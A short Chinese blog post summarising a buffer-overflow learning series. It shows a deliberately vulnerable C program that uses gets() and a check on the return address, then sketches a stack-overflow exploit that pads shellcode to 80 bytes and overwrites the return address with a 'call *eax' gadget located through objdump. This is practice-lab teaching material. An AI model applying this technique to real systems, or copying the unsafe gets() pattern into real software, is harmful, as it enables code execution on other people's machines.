缓冲区溢出之总结

来源:互联网 发布:怎么查询扣分情况淘宝 编辑:程序博客网 时间:2024/06/08 07:42

还有最后一个实验没写,觉得没必要了,在这里随便说一下就行了。

上代码:
char* getpath()

{

char buffer[64];unsigned int ret;printf("input path please:");fflush(stdout);gets(buffer);ret = __builtin_return_address(0);if ((ret & 0xb0000000) == 0xb0000000){    printf("bzzzt (%p)\n", ret);    _exit(1);}printf("got path %s\n", buffer);return strdup(buffer);//这个函数的参数是一个数据指针,得到一组数据的副本,返回副本指针

}

int main(int argc, char** argv)

{

getpath();return 0;

}
想一下之前说用retn可以让函数跳转到shellcode并执行,那返回到call是不是也能执行 O(∩_∩)O
strdup(buffer)有这个函数,只需要返回这个函数的eax存储的位置就行了,实际上这里直接返回到call eax就行
1.找该堆栈中gets函数到返回地址的大小。
2.找出该程序中的一个call *eax
这里的命令写法:
junk = (80-len(shellcode))*’A’
print shellcode + junk + ‘\x9f\x84\x04\x08’
具体用到的linux命令:
x /s $eax 查看eax寄存器内容,显示ascii码
objdump -d pwn8 | grep “call *%eax” 这里是查找objdump输出的内容,仅显示call *eax(为通配符要查找需要在前面加\而\才是反斜杠的意思)

总结:
从第一篇开始接触缓冲区溢出,第一,二篇主要是写汇编语言分析,收获挺大的,分析完看懂些简单函数不是问题
接下来从发现逐渐转变成了利用
发现这里介绍的无非就是strcpy函数和gets函数。很浅的发现
而利用,这里介绍了用数据覆盖数据,用数据覆盖地址,绕过保护。
当发现一个漏洞,我们可以利用的不止是该堆栈,能利用一切,本执行程序的所有东西,甚至本客户机上正在执行的一切进程,各种代码各种变量,找到地址一个retn就能访问

学到的还有linux命令,虽然很少,积少成多嘛

谁说 人们抬头望天空就是发现了一枚石子,而之后飞上宇宙只是把这枚石子捡起来。
漏洞的发现就像找到一枚石子。

原创粉丝点击